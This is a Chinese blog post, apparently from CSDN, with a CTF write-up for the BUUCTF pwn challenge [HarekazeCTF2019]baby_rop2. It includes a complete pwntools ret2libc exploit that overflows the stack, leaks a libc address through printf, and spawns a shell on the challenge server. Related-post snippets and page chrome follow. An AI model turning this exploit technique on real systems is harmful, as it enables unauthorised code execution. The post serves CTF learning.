BUUCTF-[HarekazeCTF2019]baby_rop2

[HarekazeCTF2019]baby_rop2 [HarekazeCTF2019]baby_rop2 WriteUp BUU_PWN 阅读详情

1.checksec

 

2.IDA

buf

 

很直接的栈溢出

ret2libc3

泄露libc基地址,计算system,bin/sh地址,覆盖返回地址 

还要注意64位传参,寄存器的使用

3.EXP

from pwn import * 
from LibcSearcher import LibcSearcher
#from LibcSearcherX import *
 
elf = ELF('./28babyrop2')
#libc = ELF("/root/Desktop/Pwn Subject/libc.so.6") 
io = remote("node4.buuoj.cn",26955)
#io = process("/root/Desktop/Pwn Subject/babyrop2")
 
# Get Pot and Got
printf_plt = elf.plt['printf']
read_got = elf.got['read']
main = elf.symbols['main']
rdi = 0x0000000000400733
rsi = 0x0000000000400731 
format_str = 0x400770
 
# Phase 1 --- Leak real address
print("--------------------------------------------------")
print("[+] Leaking real address ...")
print("[+] Phase 1 Inprogress.")
payload_addr = flat(b'A' * ( 32 + 0x08 ) + p64(rdi) + p64(format_str) + p64(rsi) + p64(read_got) + p64(0) + p64(printf_plt) + p64(main) )
print("[+] Payload = \n",(payload_addr))
io.recvuntil('name? ')
io.sendline(payload_addr)
#write_addr = u32(io.recv(4))
read_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print("[+] Phase 1 Completed.")
print("--------------------------------------------------")
 
# Phase 2 --- Get libcbase address and etc though real address
print("[+] Phase 2 Inprogress.")
print("[+] Trying got system and /bin/sh address though real address")
#libc = LibcSearcher("write",write_addr)
 
# Dump
libc = LibcSearcher("read",read_addr)	
libcbase = read_addr - libc.dump('read')
system = libcbase + libc.dump('system')
bin_sh = libcbase + libc.dump('str_bin_sh')
 
# Sym
#libc = LibcSearcherLocal("read",read_addr)
#libcbase = read_addr - libc.sym['read']
#system = libcbase + libc.sym['system']
#bin_sh = libcbase + libc.sym['str_bin_sh']
 
print("[+] Phase 2 Completed")
print("--------------------------------------------------")
 
# Phase 3 --- Print Addresses
print("[+] Phase 3 Inprogress.")
print("[+] Real Address: ",hex(read_addr))
print("[+] Base Address: ",hex(read_addr))
print("[+] System Address: ",hex(system))
print("[+] /bin/sh Address: ",hex(bin_sh))
print("[+] Phase 3 Completed")
print("--------------------------------------------------")
 
# Phase 4 --- Get Shell
payload = (b'A' * ( 32 + 0x08 ) + p64(rdi) + p64(bin_sh) + p64(system) )
io.sendline(payload)
#print("Successfully got shell , Automaticly cat flags ...")
#io.sendline("find . -name 'flag.txt' -exec cat {} \;")
#cat ./home/babyrop2/flag
io.interactive()

 最后ls没有发现flag,寻找flag

find -name "flag"

直接cat flag在的位置即可

BUUCTF pwn [HarekazeCTF2019]baby_rop2 0x01 文件分析   0x02 运行  和babyrop一样。   0x03 IDA  程序流程和babyrop差不多,但是这个里面没有提供可用的gadget,需要自己完成rop。   0x04 思路  没有默认的gadget,需要自己构建,需要利用栈溢出和printf函数泄露libc版本和libc基址,再构建rop。需要注意的是printf函数需要用到的参数,第一个参数需要为格式化字符... 阅读详情

相关推荐

[BUUCTF]PWN——[HarekazeCTF2019]baby_rop2

[HarekazeCTF2019]baby_rop2 题目附件 步骤: 例行检查,64位,开启了nx保护 运行了一下程序,了解大概的执行情况 64位ida载入,shift+f12检索程序里的字符串,没有发现可以直接利用的,从main函数开始看程序 利用思路: 程序很简单,buf的大小是0x20,但是读入的时候读入的是0x100,会造成溢出,我们要想办法覆盖返回地址为” system(‘/bin/sh’)“,那样在执行13行语句的时候,程序回去调用我们布置好的栈,从而得到shell 但是程序里没有现成

mcmuyanga的博客 5625

[HarekazeCTF2019]baby_rop2【BUUCTF】

明显存在栈溢出,那么就是找system和/bin/sh的问题了,该题给了libc,那就是泄露出真实的libc载入基址本题即可求解。由于本题是64位的,因此参数要写入寄存器中,顺序为rdi,rsi,rdx,rcx,r8,r9。

qq_41696518的博客 554

Python主要智能优化算法库汇总

最近几年简单浏览和对比了一些智能算法的库。现将各种库的主要信息、相关优缺点简单整理如下,各位同学可根据自己的需求和喜好进行选择。 文章目录1、DEAP2、mealpy3、scikit-opt (国产良心)4、Geat2(国产用心)5、pygmo26、pyswarms7、SciPy(想不到吧)小结 1、DEAP 项目地址:https://github.com/DEAP/deap 安装: pip install deap 优点: 起点高,发表在Journal of Machine Learning Rese

半个冯博士 2万+

buuctf pwn [HarekazeCTF2019]baby_rop2

buuctf pwn [HarekazeCTF2019]baby_rop2 ret2libc 老样子还是先check一下,发现开启了NX,说明我们不能利用ret2shellcode了,将文件放到IDA里面来分析一下 题目中有%s字符的字样,我们就想到了利用格式化字符串来泄露某个函数的真实地址,来找到libc的版本,最后拼接出一个system("/bin/sh")来获取shell,通过上图我们找到了溢出点在read函数,buf距离栈底的高度为0x20 因为这是一个64位的程序,其参数是通过寄存器来传递的,

weixin_45441024的博客 690

速腾聚创多激光雷达点云采集,并用RVIZ进行显示

在ubuntu20.04系统下,使用速腾聚创官方提供的软件RSView,对激光雷达的默认IP地址、MSOP 包端口号、 DIFOP包端口号和时间模式等配置进行查看和修改。使用交换机对两个激光雷达进行组网,实现多激光雷达数据采集,并用RVIZ同时显示两个雷达点云。使用wireshark对比两个雷达数据包。

abanchao的博客 5888

工业4.0 底层逻辑

工业4.0 的概念已经被滥用了,它与物联网,工业物联网等概念一样,几乎什么都往里面装。演变成了一句口号和愿景。许多人并不清楚工业4.0的底层逻辑到底是什么?如何遵循工业4.0 的思想构建新一代智能制造系统?并没用清晰地展示工业4.0的技术路线图。

姚家湾博客 1994

BUUCTF [HarekazeCTF2019]baby_rop2

pwn新手小白,写完题后整理的一点点思路,有借鉴其他wp,有任何问题各位师傅可以提出,接收批评指正

2401_88087539的博客 675

半导体工厂自动化实战:用secs4net实现设备与MES系统通信(附完整代码)

本文详细介绍了如何利用secs4net框架实现半导体工厂设备与MES系统的高效通信。通过解析SECS/GEM协议的核心架构、关键业务场景实现及性能优化实践,帮助开发者快速掌握工业自动化通信技术,提升生产效率和系统稳定性。

transformer2023的博客 892

[PWN] BUUCTF [HarekazeCTF2019]baby_rop2

[PWN] BUUCTF [HarekazeCTF2019]baby_rop2解题分析漏洞利用payload解析payload 解题分析 按照惯例先checksec,发现开了nx和RELRO,又因为题目给了文件libc.so.6,所以猜测要需要构造ROP来布置程序执行路线图 运行程序来观察程序的逻辑,发现需要输入name,然后程序再把输入的name打印出来 64位IDA打开,发现buf缓冲区只有0x20个字节大小,但read却可以往buf缓冲区中写入0x100个字节,所以这里存在着栈溢出 shift+

空城惜梦的博客 688

MT4-EA自动化交易研究笔记(2022-04-22)

自从接触到mt4的EA自动化交易,更让我这个10多年的老程序员看到了曙光,目前来看也确实出了一点成果,只是是否能稳定盈利有待时间的考验,所以开此专栏,一来做做记录与分析,更好的优化我的EA,二来也希望能与更多的高手交流,以完善我的交易系统

t35254056的博客 2291

汇川Easy 301 和MCGS进行Modbus RTU通讯(485)浮点数读取和写入

4DF0001对应寄存器D0,4DF0003对应寄存器D2。注意:要选com2口,com1口是232通讯。

qq_61916672的博客 2902

[BUUCTF-pwn]——[HarekazeCTF2019]baby_rop2

[BUUCTF-pwn]——[HarekazeCTF2019]baby_rop2 题目地址:https://buuoj.cn/challenges#[HarekazeCTF2019]baby_rop2 checksec一下,64位,开启NX,应该要用到ROPgadget,先看看 在IDA中 思路 利用printf先leek出来一个地址,这里选用了read的地址。找到libc,计算偏移,最终算出,system函数地址和’/bin/sh’字符串的地址。由于是64位,注意寄存器储存参数。(参数小于等于

Y_peak的博客 411

【自然语言处理】情感分析(一):基于 NLTK 的 Naive Bayes 实现

朴素贝叶斯(Naive Bayes)分类器可以用来确定输入文本属于某一组类别的概率。例如,预测评论是正面的还是负面的。它是 “朴素的”,它假设文本中的单词是独立的(但在现实的自然人类语言中,单词的顺序传达了上下文信息)。尽管有这些假设,但朴素贝叶斯在使用少量训练集预测类别时具有很高的准确性。

Data · Model · Agent · Repeat 2173

buuctf [HarekazeCTF2019]baby_rop2

一道常规的泄漏libc然后rop的题目 exp: from pwn import * from LibcSearcher import * local_file = './babyrop2' local_libc = './libc.so.6' remote_libc = './libc.so.6' select = 1 if select == 0: r = proce...

carol2358的博客 536

第3版•系统集成项目管理工程师(中级) │ 第12章 执行过程组 ✦ 管理沟通

🥏第3版•系统集成项目管理工程师(中级) │ 第12章 执行过程组 ✦ 管理沟通

✨ 欢迎来到【Seal ^_^ 的优快云博客】!✨ 1万+

STM32F407中文手册

STM32f407中文手册 本参考手册面向应用开发人员,提供有关使用 STM32F405xx/07xx、STM32F415xx/17xx、 STM32F42xxx 和 STM32F43xxx 微控制器存储器与外设的完整信息。STM32F405xx/07xx、STM32F415xx/17xx、STM32F42xxx 和 STM32F43xxx 构成一个微 控制器系列,各产品具有不同的存储器大小、封装和外设。有关订购信息以及器件的机械与电气特性,请参见数据手册。有关 ARM Cortex™-M4F 内核的信息,请参见《Cortex™-M4F 技术参考手册》。

buuctf中的[HarekazeCTF2019]baby_rop2

buf到栈底的距离为0x20个字节,但是下面的read函数却读入了0x100个字节的数据,可以触发栈溢出漏洞,在IDA中发现程序没有后面函数,system或/bin/sh地址,再配合前面给的libc库,判断是要我们拿到某个函数的真实进而求出libc的基址再来计算出system和/bin/sh的地址。这里直接输入cat flag是拿不到flag,因为flag不在根目录下,跟着我下面的指令输入就可以拿到flag了。拿到rdi地址:0x400733,用于调用函数,ret地址:0x4004d1,用于栈对齐。

2301_79485835的博客 369

ET2012新版免狗免安装绿色软件

ET2012新版免狗免安祖昂绿色软件。,新界面,新视觉,

buuctf27 [HarekazeCTF2019]baby_rop2 1

只开启了NX保护。

weixin_74861133的博客 533

jdk-8u144-linux-x64.tar.gz.

该资源为搭建Linux系统Java环境用,资源的后缀为tar.gz格式的压缩包

win10 跳过U8环境检测的IE WebControls.rar

win10 安装u8的时候 提示IE WebControls 不通过,这个工具可以欺骗u8的检查。 跳过U8环境检测的IE WebControls。提示导入失败后,重新检测通过。

[BUUCTF]PWN [HarekazeCTF2019]baby_rop2

惯例checksec发现开了,但也没开。 打开IDA进行分析 main函数很简洁,也没有内套其他函数。有一个很明显的溢出漏洞,可以通过read函数来把♂栈♂填♂满。那么如果我们把ret地址填写成我们想要的函数,就可以对他进行调用。看看本题题目,名副其实了属于是。 很明显,我们可以使用printf函数泄露libc基址。 printf函数的形式大概像这样:printf(“%s“,Moriarty),其中格式化字符串是第一个参数,放在rdi中,第二个参数放在rsi中。很明显的,我们应该想办法把rdi覆盖成一个.

m0_50819561的博客 298

[CTF]BUUCTF-PWN-[HarekazeCTF2019]baby_rop2

[CTF]BUUCTF-PWN-[HarekazeCTF2019]baby_rop

weixin_53394081的博客 350

BUUCTF Pwn [HarekazeCTF2019]baby_rop2 题解

因为这是64位程序 所以用寄存器传参;又因为printf得传至少2个参数 所以要用到寄存器RDI RSI。查到的rsi多了个r15寄存器 但不需要用到 所以写payload的时候记得填充它。这里的打印函数是printf 所以利用printf函数的plt输出真实地址got。查看main函数 看到给了个libc说明这题是ret2libc题。但printf的got好像不行 所以换成了read的got。第一个rdi传入printf里的格式化字符串。下载 得到两个文件 checksec。64位 拖入IDA64。

qq_33348179的博客 437

BUUCTF|PWN-[HarekazeCTF2019]baby_rop2-WP

1.检查保护机制 开启了堆栈不可执行 2.用64位IDA打开该文件 (1)shift+f12,查看关键字符串 (2)双击,ctrl+x,进入反汇编代码 (3)ROPgadget查看返回地址 (4)payload payload = b'a'*(0x20+0x8) + p64(pop_rdi) + p64(format_) + p64(pop_r15) + p64(got_addr) + p64(0) + p64(plt_addr) + p64(main_addr) 1.

l2645470582_的博客 782

BUUCTF(pwn)[HarekazeCTF2019]baby_rop2 泄露libc基址,rop,利用gadget

64位,开了nx保护 运行了一下程序 buf的大小是0x20,但是读入的时候读入的是0x100,会造成溢出,我们要想办法覆盖返回地址为” system(‘/bin/sh’) 利用read函数,去泄露程序的libc基址,然后去获得system和/bin/sh字符串的地址 然后造成溢出,将返回地址覆盖为system(‘/bin/sh’) from pwn import * from LibcSearcher import * context.log_level='debug' p=remote('n

半岛铁盒的博客 823

BUUCTF [HarekazeCTF2019]baby_rop wp

本文是基于BUUCTF平台[HarekazeCTF2019]baby_rop一题的题解

AEJL叁的博客,欢迎关注! 1389
上一篇: BUUCTF-jarvisoj_tell_me_something
下一篇: BUUCTF-jarvisoj_level3
Rt1Text
博客等级 码龄5年 14粉丝 53原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值